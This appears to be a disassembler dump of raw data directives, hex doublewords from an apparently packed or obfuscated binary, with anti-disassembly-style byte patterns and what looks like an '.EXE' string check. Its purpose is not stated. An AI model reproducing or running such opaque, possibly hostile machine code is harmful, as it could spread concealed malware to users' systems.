		dd 5597952h, 0B800955Dh, 0BBC375E2h, 231B076Ah,	0CAAF8EDFh
		dd 0C375E265h, 4F78C78Fh, 1DBD2C0Fh, 92BE9E8Fh,	507952FEh
		dd 0D999FEC6h, 22A4F57Eh, 0D925151Dh, 4D6DB9F0h, 0E5DD1871h
		dd 3991B19Ah, 0D0132B16h, 6911DAEEh
		dd 0C1CCF2DBh, 0F8A4A4F5h, 5FB1E840h, 23027C32h, 753D6046h
		dd 60188EC3h, 0E87DC49Fh, 0AE79E89Fh, 1A5567D8h, 0DFFFFFEh
		dd 293AED45h, 5AD082F3h, 75092B9Dh, 9CDF28C3h, 0E25CD8CAh
		dd 7143C375h, 6EC375E3h, 0C375E29Bh, 75E2288Ch,	0E24D37C3h
		dd 0E252C375h, 278375E2h, 0DA82C4C9h, 3C6C5275h, 94E5C41Ah
		dd 0A3046746h, 95FD60Ah, 6F0856A7h, 2CA9C81h, 0E9C4F43Dh
		dd 0B5153300h, 2AD7200Ch, 3020BAC8h, 6AB3008h, 0B4000003h
		dd 0B5824E88h, 0B09FB191h, 0B299B787h, 8E95BB9Bh, 0F96BA80h
		dd 0C0F62078h, 0C0F42308h, 0CAEA2308h, 0CFEF3906h, 9326A001h
		dd 0C699892Dh, 3583F726h, 23290A7Dh, 9FDECADEh,	1CB698B0h
		dd 382EDC54h, 61976D09h, 75653C84h, 87E637C3h, 0C4D01CBBh
		dd 30E24A79h, 0FDD52609h, 62B78CD8h, 7AD627C9h,	55D8F24Ah
		dd 987C4477h, 4D78FC5Dh, 2FBDC698h, 0E751646Eh,	0ECCC8FEAh
		dd 2464CB83h, 0F0EA5E7Bh, 5677C8AFh, 70C12876h,	4A7AD627h
		dd 0A281A1E5h, 0B5005D4Fh, 0C8AFF0C3h, 9E6F4F5Eh, 0B61E7C4Dh
		dd 5B9AA2E9h, 0AFF00EFEh, 6925CBC8h, 661628CFh,	0A72F78C1h
		dd 0B8D77A12h, 0AE2071C2h, 60305396h, 0D6152827h, 0AB99B39Ch
		dd 0DE724363h, 2B775771h, 69A3608Ch, 136F6F5Bh
		db 3Ah,	0E9h
word_594F42	dw 3698h		; DATA XREF: ___:off_438100o
		dd 0A4D7CDE3h, 4995E6D8h, 0CADDC22Eh, 64B594EAh, 0B0ED5762h
		dd 95E6DED0h, 0E32A753Dh, 0C2D7FFC3h, 0DEEABA7Eh, 98DB2475h
		dd 1BB393B5h, 0BAF24653h, 0A0F1DEEAh, 78C78F45h, 0C12C0F4Fh
		dd 269BE7C7h, 0DEEAA45Eh, 49AC94ACh, 0CB937333h, 7617D5E8h
		dd 0F7C7F35Ch, 3E763EB4h, 0C38529Bh, 0E643A213h, 0D4FDCCCEh
		dd 294694E5h, 2D88C2C3h, 0EAD70984h, 0C35BC011h, 6D8DC2B6h
		dd 1AB86D5h, 25130000h,	3A103F11h, 226F3414h, 3E69361Ah
		dd 3D65321Eh, 0D3E2331Dh, 0A5AB939Fh, 0A5AB939Eh, 0A3AD8D9Eh
		dd 0BE92B494h, 8A7E5B0Bh, 89C6998Fh, 0EE022C9Ah, 7212A72Fh
		dd 80C96246h, 69F766A8h, 7AB96A75h, 4562B889h, 43ECE6A7h
		dd 36176B4Bh, 11DAFFF7h, 0AECCB0F6h, 318F1554h,	0FAEE3008h
		dd 36EB3404h, 7023B5E8h, 3EB32800h, 0FC000001h,	0FD4A86B0h
		dd 0F84789A9h, 0FA418FCFh, 0F65DF3D3h, 775EF2C8h, 183E6840h
		dd 183C6B30h, 2226B30h,	72761CEh, 0CBEEF8C9h, 0C6998F65h
		dd 25B0F7Eh, 98A72FEEh,	0B086B0B0h, 0F3321B67h,	46BEDEFBh
		dd 0FA35C962h, 97A792D2h, 0C011624Bh, 0DF3C68Eh, 6C69981h
		dd 0BF88F635h, 5175576Dh, 0D2280E1Eh, 99A6AAFBh, 3453AF8Fh
		dd 52FDD5B8h, 5E145767h, 6539E96h, 3E002467h, 0B18C92E2h
		dd 8E2568C8h, 361A6BCCh, 0B51D3D69h, 2140288Dh,	0B43C8ADh
		dd 0AD21DAAEh, 0BF88D9C8h, 7EABF07Ch, 62A5F25Eh, 79A18E42h
		dd 6FC78F41h, 209411Fh,	0BD85E43Ah, 0B3F2DCE2h,	4C7A525Ch
		dd 88D9300Eh, 88CCFB40h, 0F2F79C6h, 0D37C202Ch,	0E1C5C4FAh
		dd 2D7E5590h, 5474C30Dh, 0C614226Ch, 743C96E7h,	0AD7DDFA1h
		dd 0A88BD4C8h, 0AD909FA4h, 0F36FBA6Eh, 3E126340h, 0EB93AB41h
		dd 0AD847ACEh, 4B2879C8h, 0C8AD84E5h, 0F6426777h, 8F580B86h
		dd 0BD656DBEh, 5695A592h, 0BA1B07F1h, 0E8CDF5C2h, 0D2B12300h
		dd 56A4949Dh, 1655A677h, 7D434AA5h, 0D5340A2Ah,	657B684h
		dd 0F9DDCF38h, 3A457h, 23F20000h, 5066526Fh, 0CBEB3D0Ah
		dd 0A38388F7h, 1125105Fh, 86B4E2CDh, 7B434FB8h,	0EDF1D827h
		dd 4179A691h, 3A18327Dh, 895602E4h, 4C681E6h, 83000000h
		dd 0FF5604EEh, 5E042474h, 5C24048Fh, 5E08950h, 4, 42Dh
		dd 24048700h, 240C895Ch, 22EA68h, 24148900h, 0EC638468h
		dd 8B545905h, 0C4812414h, 4, 89CB8953h,	1C8B085Ah, 4C48324h
		dd 5A2434FFh, 4C481h, 34FF0000h, 0C4835924h, 0E01E904h
		dd 0C343FFFBh, 7633474Ah, 0B8462486h, 5EC6F11h,	0C38BC503h
		dd 13E8h, 85754600h, 0A8383968h, 687135EDh, 58CD9165h
		dd 36B3F9EBh, 0EE860h, 0F0D70000h, 716508FEh, 182EB038h
		dd 3DF94D7Bh, 942420BAh, 0BF0F585Eh, 0F5A61F3h,	1584h
		dd 10E900h, 12560000h, 75C5B161h, 21276C42h, 9D9627CBh
		dd 0C2813284h, 7179h, 0AE8h, 11E32500h,	0CA10C71h, 0BFC293F1h
		dd 7A9CAF41h, 6858h, 5B530000h,	0FFCEB459h, 8B661134h
		dd 49B85EFEh, 812064A2h, 0C2EEE9C6h, 0DE8B6653h, 92C6C681h
		dd 81F53A63h, 5E468DF6h, 5690B436h, 0AC17E081h,	48F31ECh
		dd 0BA66600Ah, 0F38B49E7h, 0BFF38161h, 834E3218h, 816604E9h
		dd 812AF5E8h, 0FF8F7CF9h, 16850FFFh, 66000000h,	2FE9D98Bh
		dd 0C4000000h, 11166131h, 219D75EEh, 0B95670E1h, 2850F1Fh
		dd 0B3000000h, 0FF8DE9FBh, 0F702FFFFh, 40253057h, 9C7326D9h
		dd 4529B533h, 0A1C70A4Bh, 0DE96FB5h, 0F000001h,	184h, 0B58DF500h
		dd 5EC70ECh, 81665760h,	59B212D8h, 1858D61h, 6005EA48h
		dd 0D480EC8Ah, 0D0FF61D6h, 1860Fh, 0C3F50000h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E8C35545h, 0F98B6660h
		dd 1927D281h, 0E9616F6Bh, 9, 33B05346h,	0B02BB609h, 0D98C665Bh
		dd 4C1F6F9h, 43840Fh, 6E90000h,	7D000000h, 9D210149h, 8BFB8B35h
		dd 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h
		dd 1013F20h, 74C00B00h,	0C708D18h, 0CB8BFA8Bh, 490A75A6h
		dd 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h, 0E9CF0000h
		dd 12h,	0C261A569h, 0FEF3F26Eh,	0AA12A9A9h, 3754FB5Bh
		dd 6A6633h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0D8EB29C3h, 2B9D2798h, 8BF560D1h,	11E961C2h
		dd 0C3000000h, 0EE3548DDh, 0D03FD611h, 6730C95Bh, 2C8DB0Ah
		dd 711C85C7h, 13F05ECh,	3CE90001h, 1, 4Eh dup(0)
		dd 83000000h, 0E72285BDh, 840F0105h, 4B9h, 15880Fh, 10E90000h
		dd 0F1000000h, 2E96C670h, 7851D166h, 0B32FD9EBh, 0C6663E2Ch
		dd 0E707F985h, 0F604305h, 5F57D2B7h, 4E861h, 0D0F50000h
		dd 0AE9ECA5h, 5B000000h, 0FB66681Ch, 0D787DFB1h, 830F50CEh
		dd 1Bh,	0AE95250h, 90000000h, 0D754DBF6h, 334F45B5h, 0F310F7Eh
		dd 86h,	8B585A00h, 0E9042444h, 0Ah, 7DCE7ADDh, 5A66D900h
		dd 8B32F5h, 14E9h, 8CA21800h, 0C0D1C77Ah, 0D4F8E2A7h, 8D8323ECh
		dd 9BC86A89h, 244489AEh, 8B666004h, 61C18ADFh, 0B5FFFC58h
		dd 5E72DC5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	78C35646h, 8DF52CA2h, 0EA796385h, 18E0F05h, 0F9000000h
		dd 89FCD0FFh, 0E71B0985h, 0B70F6005h, 14E9D6h, 0FB350000h
		dd 43DC0ABEh, 0D858443Ch, 906470BFh, 7B1BD96Fh,	0C6614466h
		dd 0E707F985h, 68F95005h, 0EF7EC417h, 6E9h, 785F1A00h
		dd 81ABC179h, 69412434h, 0CE947D3h, 27000000h, 3E83BED2h
		dd 13469473h, 0FF2B0B9Bh, 0E72DC5B5h, 168C0F05h, 0E9000000h
		dd 11h,	3735834Bh, 430AFF2Ah, 1DD76C12h, 3A00888Ah, 63858DBCh
		dd 6005EA79h, 0F9C28B66h, 5810F61h, 60000000h, 61F85F53h
		dd 8B0FD0FFh, 1, 0AD8589F9h, 6005E727h,	0BE9F78Bh, 26000000h
		dd 12E40092h, 7D6B0A97h, 6861E45Bh, 0D0C67FC8h,	0C8F0Fh
		dd 840F0000h, 6, 310F5250h, 3481585Ah, 49D7E724h, 0BE96020h
		dd 2000000h, 0EDD65F18h, 0B47740A3h, 0B866167Eh, 0FF61A590h
		dd 0E72DC5B5h, 0D890F05h, 0E9000000h, 8, 3651675Dh, 2807B8BCh
		dd 7963858Dh, 850F05EAh, 0Ch, 68A0Fh, 870F0000h, 0
		dd 8060D0FFh, 61F86EDCh, 23458589h, 0DE905E7h, 48000000h
		dd 502F6006h, 24D3FBB8h, 7589EE7Dh, 7F985C6h, 605005E7h
		dd 46E4BF66h, 2840Fh, 0FE8B0000h, 4E861h, 0DC560000h, 6E9979Ch
		dd 86000000h, 3399EE8Dh, 0FE95080h, 5C000000h, 5FA19171h
		dd 2D5FF539h, 56ACCA08h, 448BF31Dh, 52500424h, 6840Fh
		dd 52500000h, 585A310Fh, 830F310Fh, 2, 585A6160h, 12E9008Bh
		dd 0B6000000h, 2E5F2067h, 0C21D1FCDh, 98A89D52h, 0E772A317h
		dd 2444896Dh, 60525004h, 0BE8h,	0FE4DB00h, 2FA0F5C0h, 0D85BD110h
		dd 0C28B6659h, 0E9310F61h, 9, 1716CF4h,	536BE0B9h, 58585A07h
		dd 88C0Fh, 850F0000h, 2, 0B5FF6160h, 5E70C25h, 17858DF5h
		dd 0F05E739h, 0C8Dh, 6840F00h, 0F000000h, 81h, 60D0FF00h
		dd 0EBB9C68Ah, 61539F58h, 0FD8589h, 6A05E7h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 4D62E3C3h
		dd 10E9DE7Ah, 75000000h, 0A8B7ECC8h, 0A1C429D2h, 0E11D4C94h
		dd 0FFB3214h, 783h, 18B0F00h, 0FC000000h, 188E9h, 0F50FC00h
		dd 198Eh, 14E900h, 0E5390000h, 0FC842759h, 0D0C6C249h
		dd 0FC2B52F8h, 19F62EA6h, 2C8908B9h, 10E924h, 0C0C20000h
		dd 98E336EEh, 64DB6648h, 0BA06E25Dh, 0EC8B0E30h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 2EC35747h, 27CA0546h
		dd 6660BB3Fh, 0F73E5BBh, 286h, 61C8B200h, 0F5FCC483h, 1890F60h
		dd 0F5000000h, 0E8h, 0EA815A00h, 5EC769Ch, 0FC45C7h, 83000000h
		dd 0E72285BAh, 840F0105h, 98h, 6A006A52h, 992FF0Fh, 5A05E71Bh
		dd 71A68289h, 9A8D05ECh, 5EC71AAh, 2803C752h, 53000001h
		dd 0AD92FF50h, 5A05E727h, 0AA9A8D52h, 5305EC71h, 71A6B2FFh
		dd 92FF05ECh, 5E700FDh,	74C00B5Ah, 0AA9A8D50h, 8D05EC71h
		dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h,	4558452Eh
		dd 348DEE75h, 0C752B39h, 1D69BA8Dh, 4D8B05E7h, 32A4F30Ch
		dd 0FF52AAC0h, 828D0875h, 5E71D69h, 4592FF50h, 5A05E723h
		dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 7890Fh, 66600000h, 0CA8BF38Bh, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FFF9CDFh, 485h, 0D98B6000h,	0E0806061h, 12E9E3h, 9C790000h
		dd 48BEC931h, 0FA22EF5Ch, 26DCFF6Ch, 0E619CDD8h, 8DD28B61h
		dd 0EC78958Dh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 6069CE2Eh, 0D810F68h
		dd 0E9000000h, 8, 0C54E937Dh, 4D4C64DCh, 23158D89h, 6A05E7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 3A9EFFC3h, 46BCE42Ah, 6650058Bh, 5EBA61BEh, 8B985C7h
		dd 666405E7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 24D470C3h, 8B3653ECh, 0E71BCD85h
		dd 9985C705h, 5E70Ch, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9F67C356h, 4EA91D44h
		dd 0B9E55903h, 0FF35DA80h, 0E71575B5h, 35858B05h, 0FF05E701h
		dd 0E732CD95h, 65858905h, 6A05E709h, 1D95FF00h,	8B05E71Ah
		dd 321DEBC0h, 0A38BF401h, 65117C6h, 0C805ACEFh,	7FB9769Ch
		dd 61ADA432h, 0EC1351BAh, 2E6A3F50h, 79658D8Dh,	858905ECh
		dd 5E727A5h, 23158D89h,	0B58905E7h, 5E72685h, 8B985C7h
		dd 739805E7h, 0AE90000h, 0C5000000h, 0B8969871h, 9C990151h
		dd 59D8B51h, 0C705E706h, 0E70C9985h, 5,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 6F8A5A4Dh, 0D6816633h, 0B5FF56B3h, 5E72CC5h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 12C35646h, 4A6E2A64h
		dd 81CBC704h, 75E59DBh,	0CD95FF3Ah, 8905E732h, 0E724919Dh
		dd 69B50105h, 6A05E72Ch, 1D95FF00h, 8B05E71Ah, 8D6CEBC0h
		dd 0F356EA1Eh, 0E3EFA302h, 5C58163h, 0BF37B0F7h, 25E35959h
		dd 88234311h, 42DD6DA3h, 0E74C9644h, 0CA3C8997h, 179D7BC8h
		dd 0E9BE788Eh, 0B409F102h, 78708398h, 0E7DE9D80h, 0C8C1C4C9h
		dd 616303B8h, 0F414F310h, 0FFE985DCh, 34BF7CB3h, 616DDF17h
		dd 4D7C29FAh, 41FA49E4h, 19878115h, 0F9BE8838h,	28C3A988h
		dd 97ED427Ch, 0DC35B7EFh, 5E9D111h, 67A5BD48h, 23F148ACh
		dd 43055C73h, 78792037h, 97FFF172h, 5082B287h, 0F30CC87h
		dd 7F478726h, 4E23F37Ah, 137008Ah, 0F63FF032h, 0B930F171h
		dd 3460F15Dh, 6E30F134h, 6FF3A917h, 9F14B5BEh, 0C914B5B6h
		dd 0E630F12Bh, 0ADF3A177h, 0E281BF7h, 0E4F79AD3h, 0F5E77051h
		dd 345518B5h, 73C8F137h, 0CD30F139h, 0D4C8C143h, 0C3827460h
		dd 0A6F62A8Fh, 633FCEABh, 0D3B3A8FFh, 32D7DB02h, 0C6B4FE37h
		dd 0A730F137h, 0E5D8A137h, 5330F137h, 3068326Fh, 5D34D573h
		dd 7634D573h, 7730F137h, 10EC3267h, 0C2BE749Ch,	0E630F3B1h
		dd 9AE17A37h, 0B930F13Fh, 810F08E8h, 82ED4E2Ch,	3A2C4F67h
		dd 726A9FA3h, 0CD30F3C8h, 0E67F15Dh, 7330F134h,	0E6F3AE17h
		dd 0D8148DBEh, 6A14B5B6h, 3730F123h, 0CF3A670h,	0B4C674BAh
		dd 5360F4DBh, 5734789Fh, 0B9347C38h, 0BC63F137h, 0EBBDAF56h
		dd 32DC88EFh, 54889157h, 0C24163EDh, 0E630F1BDh, 0F2569037h
		dd 0D84FFEDEh, 67679167h, 2A7E6C24h, 0BD3F916Eh, 9B30F137h
		dd 0CD30FFDEh, 0EE810B37h, 1BFFA769h, 0D0C8FC94h, 0BD3990CDh
		dd 4A347856h, 22721FB6h, 0ECFEB60h, 0C8D7ED56h,	17BA31BCh
		dd 47EE7067h, 0E308F2E3h, 0D1494CB4h, 1B30F4D0h, 228D723Eh
		dd 9B35162Bh, 9E60E843h, 9C8831BCh, 0FA30F133h,	5E2324B2h
		dd 0E8AD7C32h, 9135189Dh, 0B468AAE4h, 7C2CE48Ah, 0DA44F132h
		dd 9C88A267h, 0FA30F133h, 5E2324B2h, 0FFAD7C32h, 91351890h
		dd 0BC68AAE4h, 0CA309BC0h, 0CD30F2DFh, 2569D137h, 577C786Eh
		dd 9D747033h, 0DC30E833h, 0AD61B037h, 407F3807h, 5BBB011Ah
		dd 0B4D06CBAh, 6D82F4DBh, 3A174BAh, 8D8EF4DBh, 2338C41Eh
		dd 6E3D18E7h, 754CF137h, 2CDF66DAh, 9619A202h, 0EDEFC3C7h
		dd 0F7B4FEF7h, 4530F137h, 91CA6CBAh, 6E5AF4D0h,	37331965h
		dd 0C110F137h, 99B9ABF4h, 0A2B1F513h, 7328F513h, 0EB72F137h
		dd 0FBA98BF4h, 6D889473h, 5D30F137h, 98D8A237h,	0ED30F137h
		dd 6F6B326Ch, 0F234D56Bh, 0A434D573h, 9F30F137h, 8ACB3264h
		dd 74BBA518h, 310AEF2Ah, 0CD30F7DFh, 12A9D837h,	152C8E34h
		dd 0CF7916B6h, 0B6D30E69h, 6DD8A437h, 1730F137h, 126D326Ah
		dd 4C34D55Bh, 0FE34D573h, 3630F137h, 0E70F3262h, 51F186F4h
		dd 824919AAh, 0A6B57C32h, 0F1351D47h, 0CED8A037h, 0C630F137h
		dd 0FA69326Eh, 3834D57Bh, 0C434D573h, 2F30F137h, 0C08D3266h
		dd 646DF5EFh, 0CD3F19E7h, 6DD6F137h, 99542352h,	22215C23h
		dd 283FA956h, 99BB97DEh, 38F0FA68h, 9B30C1B3h, 24C37A37h
		dd 0E630F132h, 7A2A32A4h, 43AD7C98h, 5C35167Ah,	6F8873E9h
		dd 0DF30F137h, 9B30F132h, 4BEB8996h, 0CB8A97C0h, 90CFAB38h
		dd 0E3FBE82h, 31AD7CC7h, 4351D4Eh, 34D8A137h, 0BB30F137h
		dd 4468326Fh, 6734D573h, 6B34D573h, 0F930F137h,	0A4DF3267h
		dd 61828B5Eh, 3730F4B9h, 1B584E37h, 73568102h, 63BD6ECFh
		dd 76DC81A6h, 5165F15Dh, 0DC30F134h, 33F3AC17h,	33149DBEh
		dd 9F14B5B6h, 0CD30F12Dh, 4DF3A472h, 8A9E83FFh,	69CFAD2Fh
		dd 0D79504B7h, 6B4FEF7h, 5D30F137h, 98D8A637h, 0ED30F137h
		dd 6F6F3268h, 0F234D54Bh, 0A034D573h, 9B30F137h, 0A81D3260h
		dd 105D6CBEh, 92D90FBCh, 3E30F137h, 0F7457BFFh,	886904h
		dd 0F4CA6CBAh, 5E3FF4D0h, 6E30F134h, 8FCA7A51h,	9B30F134h
		dd 32E34638h, 0B5309BD4h, 7330F2DFh, 7A6BD137h,	0F86C786Ch
		dd 4A747033h, 3730E733h, 5863B237h, 8E07A45Bh, 0E630FFDEh
		dd 44684837h, 984FCFE0h, 6C590F84h, 0E4F2A6BEh,	0E18D7CE3h
		dd 16351D4Eh, 214D21BAh, 0BA4D4932h, 0F6037B7Ch, 0BCD7F9DEh
		dd 51F13E1Ch, 824919AAh, 0A6B57C32h, 0F1351D47h, 0CED8A037h
		dd 0C630F137h, 0FA69326Eh, 5E9837Bh, 0C08BA4F3h, 6E9h
		dd 0B7C7C000h, 6A507B9Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0C875C353h,	0D2A8B7ECh
		dd 94A1C429h, 0FE8h, 0F4121B00h, 0D2D5CE02h, 0B98D3374h
		dd 0E04B4B64h, 5EF88B66h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 4A14B9C3h, 5A3A2E62h
		dd 66D7D491h, 0CBDED781h, 0BF66C08Bh, 0BD83DDE9h, 5E70D79h
		dd 83097500h, 0E71C15BDh, 19740005h, 0C08B5350h, 47AB8h
		dd 2D858900h, 8D05E70Fh, 0E9AA9B9Dh, 5BD3FF05h,	15BD8358h
		dd 5E71Ch, 53501774h, 47AB8h, 2D858900h, 8D05E70Fh, 0E9A73C9Dh
		dd 5BD3FF05h, 10E858h, 0F1CB0000h, 8735290h, 37A974C0h
		dd 43DFCD6Eh, 6E9D111h,	36000000h, 0FF6B1C0Ch, 0C08B5F85h
		dd 8E8h, 49736900h, 6A41E9EFh, 0FA8B66B0h, 0FB8B575Bh
		dd 0B3C3815Fh, 53000065h, 0AE9h, 3F83F500h, 125BE367h
		dd 591BD834h, 0B8h, 0FFB9B100h,	81661834h, 5ABE55D9h, 0AEF8BF66h
		dd 3A05EA81h, 0F78B1C7Ch, 260EC281h, 0FE90296h,	22000000h
		dd 0CAA66087h, 0BF13AA1Ah, 19733905h, 0F281A61Ch, 3C7D2B88h
		dd 4CC68151h, 5E0F14A2h, 81031489h, 0B9BD2EC6h
		dd 60605163h, 83596161h, 0FC6004E8h, 5E9h, 9E15FC00h, 81618D70h
		dd 0FF9AE4F8h, 98850FFFh, 0BFFFFFFFh, 28A7733h,	10E8h
		dd 95026500h, 0BECEBD15h, 5C09E9E7h, 431990DEh,	0CABF0F6Bh
		dd 0E259B958h, 0C081410Ah, 6277h, 0BBAFEA81h, 0DB332F2Fh
		dd 0A0DA8166h, 18348B57h, 0CB51EE81h, 0AE91423h, 0E1000000h
		dd 0C22FE23Ch, 208D53Ch, 0F2EE811Ah, 0B903707Eh, 7D2FB223h
		dd 3CCEE81h, 0B9663C5Bh, 34895BD0h, 7BBF6618h, 76D0BF3Fh
		dd 0EB835EECh, 0BF666002h, 66B77185h, 664B4B61h, 0FB81F88Bh
		dd 0FFFF9E2Ch, 12850Fh,	8B660000h, 1EE9F8h, 1BC00000h
		dd 0D3E672F0h, 901BA061h, 0FF93E9F8h, 0D120FFFFh, 0B6C9390Bh
		dd 4B4A6FEBh, 3B4BF441h, 205B04EBh, 7EE90B1Fh, 7C000004h
		dd 7DCA0630h, 78C70929h, 7AC10F4Fh, 76DD7353h, 0F7DE7248h
		dd 98BEE8C0h, 98BCEBB0h, 82A2EBB0h, 87A7E14Eh, 4B6E7849h
		dd 0C69962E5h, 35DB8FFEh, 0D511EB7Dh, 0B891EDEDh, 2D852F66h
		dd 85A9E3CEh, 73404EB9h, 0E8A97B94h, 0B59BE461h, 4298BEEEh
		dd 420A5375h, 75E68177h, 0F4B182C3h, 0C375E60Ch, 0CFFB3607h
		dd 95AB38Fh, 89B1FE41h,	236B54AAh, 0D34A0C0Ah, 25765AE6h
		dd 99A1EED9h, 72507A45h, 0B7D3982Ch, 0A525A40Bh, 2F210507h
		dd 0E9EDD867h, 4666A78Ah, 4868BD8Ah, 1FBA6272h,	0C375D7A9h
		dd 0EB371734h, 85E03182h, 75B63AEh, 42EEE873h, 33851049h
		dd 30C375D7h, 8ABA96E7h, 0D701F7C2h, 3102C375h,	0A98D9FF2h
		dd 0D71BE055h, 0C382C375h, 5943DDC7h, 630167D9h, 45000000h
		dd 6547A52h, 75E2CFB3h,	8B0F5EC3h, 0D98E0F81h, 13D67h
		dd 52890000h, 22962378h, 21C375E2h, 77CF87D0h, 84447271h
		dd 0DA822E8h, 0C375E1BBh, 320C6FB8h, 0B0FFC1C5h, 657B684h
		dd 81DCCF38h, 0EB486EBEh, 0C375E105h, 9EFCCD1Eh, 0B010B6D1h
		dd 8F94B49Ah, 6911B99Dh, 75E1E44Ch, 4FAEFFC3h, 6452C181h
		dd 0AE088F5Fh, 0DD2E4AA0h, 0B694B681h, 0F3974468h, 0FF516951h
		dd 8567850h, 80CAF23Fh,	0E410DFA8h, 0B491C455h,	16674694h
		dd 0AC7FEBD7h, 36BE262Ah, 3BAE67D9h, 38000000h,	8566452h
		dd 80CAF23Fh, 6C4F6FBFh, 0A422A512h, 2C3C1A04h,	0DF231B07h
		dd 4995B990h, 0C0C8CE9Dh, 67D98C60h, 3E0Ch, 64524600h
		dd 0EE3F0856h, 7734F0CEh, 0F1C9F153h, 78528B5Fh, 0F35C045Ah
		dd 91BAF5D9h, 211C6DB1h, 75E2F378h, 5F7B6AC3h, 0D98EDB75h
		dd 0DD201867h, 0E6C6C1F8h, 79215B9Ch, 1413Ah, 52050000h
		dd 3E095565h, 0CEF2C8EEh, 0E22F7D1Dh, 0EDC8F0DAh, 0C375E21Bh
		dd 9D63B618h, 96C375E2h, 3B397445h, 0E5EDB03Ch,	0F943C44Dh
		dd 9AD9B7F5h, 6748C5D0h, 0DC2DC95Dh, 0B797B1FEh, 0B49AB299h
		dd 0FCC67E66h, 4A73AB00h, 0AB1FF83Bh, 85C692F7h, 2860C0C6h
		dd 2B7DCA06h, 0C0C8370Bh, 5F0CA0FEh, 81BFE93Bh,	7C56A787h
		dd 84DAFAD3h, 0DA8A46A5h, 0BB058462h, 0D6152331h, 0F1D8D143h
		dd 117F361h, 35F70000h,	0A430897Dh, 0E9CC0F0Fh,	0C3754107h
		dd 83E2331Ch, 0A52DF0FCh, 0A67D35FDh, 0CACF078Ah, 40CEB277h
		dd 0F4C5C375h, 6DB191B5h, 7B78211Ch, 78C95C55h,	0A4E4D32Fh
		dd 0A7E14E82h, 5C4CBB87h, 0C2CF507Ah, 0B283BBE4h, 280B337Fh
		dd 8109B2D6h, 0BC5E923h, 0F1D80C84h, 363861h, 28A0000h
		dd 11A42EEDh, 0C375E37Fh, 4777A28Dh, 62D3127Bh,	8068CD11h
		dd 4AC375E2h, 0EC03F199h, 0B398A72Fh, 6F4F5C93h, 5D73460Ch
		dd 56C375E3h, 8610CB05h, 46000000h, 0A72FEE02h,	51ADB198h
		dd 64B13D78h, 0C95CE83Fh, 0A897EB34h, 0A5F25E60h, 6A4A5D63h
		dd 8570C519h, 0A3C692E6h, 587EACF3h, 0F6CF2202h, 0B06D7E8Ch
		dd 23030867h, 5BE991C0h, 0DA656D71h, 0FBDBF2F2h, 0D9854BAAh
		dd 33724876h, 15BD608Ch, 85CB1F80h, 0B78BD4CCh,	2A604048h
		dd 86D73604h, 93463CCh,	6DEA63EBh, 4FAEFF0Bh, 0FA9C4F73h
		dd 0BB13F2FEh, 0B6D38D1Eh, 0A3ECB3C2h, 0B66479Bh, 8FDE3C00h
		dd 428EDFACh, 2FEE028Eh, 628912A7h, 7546C962h, 0F5C5F25Dh
		dd 2D7F48B6h, 5078C709h, 454D300Eh, 0CD78507h, 0B0883D5Dh
		dd 8D8EF9B5h, 96447E2h,	0A113F1Fh, 92AA3C02h, 34042DA7h
		dd 6F5392A3h, 0D9250900h, 309036A5h, 0D1A3618h,	0F4E73B1Bh
		dd 1Dh,	4B732322h, 0E2423683h, 7041C375h, 75E2CDB3h, 0DDF5C6C3h
		dd 75E270F8h, 0C32273C3h, 50665297h, 0CBEB3D0Ah, 0A38388F7h
		dd 1125105Fh, 86B4E2CDh, 7B434FB8h, 0EDF1D827h,	4179A691h
		dd 3A18327Dh, 895002E4h, 405E0h, 0E8830000h, 24043304h
		dd 33240431h, 685C2404h, 667Fh,	68241C89h, 1256h, 57242C89h
		dd 802EB951h, 0CF8905ECh, 5FFB8959h, 242C8B54h,	4C481h
		dd 82680000h, 89000051h, 481241Ch, 5446BD24h, 8458F2Bh
		dd 0BD086D81h, 8B2B5446h, 8957242Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 34FF5C24h, 0C4835B24h, 0F8CDE904h, 0C1D7FFFAh
		dd 8435B819h, 0C50305ECh, 0E418E0FFh, 0B5341EADh, 1B4E5B4Eh
		dd 83E024DEh, 6FB65A8Ah, 0D74C16FFh, 9A075595h,	0E20C1153h
		dd 429F14ACh, 65D30D03h, 0DA086C89h, 0F1A02A5Ah, 617839C0h
		dd 71D020FCh, 933A021Ch, 0CB6C528Dh, 66E92877h,	60000002h
		dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 5E70C25h, 7963858Dh
		dd 0D0FF05EAh, 2BF18589h, 0FE8B05E7h, 680CEFC1h, 20060000h
		dd 26A006Ah, 0D6857h, 95FF0001h, 5E72BF1h, 32E9h, 0F985C600h
		dd 5605E707h, 0C530DF68h, 0C5B5FFA9h, 8D05E72Dh, 0EA796385h
		dd 89D0FF05h, 0E7014985h, 0C5858D05h, 5005E704h, 56A406Ah
		dd 4995FF56h, 6105E701h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 85788589h, 428B05ECh, 7085890Ch
		dd 8B05EC85h, 85891042h, 5EC8574h, 85AEB58Dh, 858D05ECh
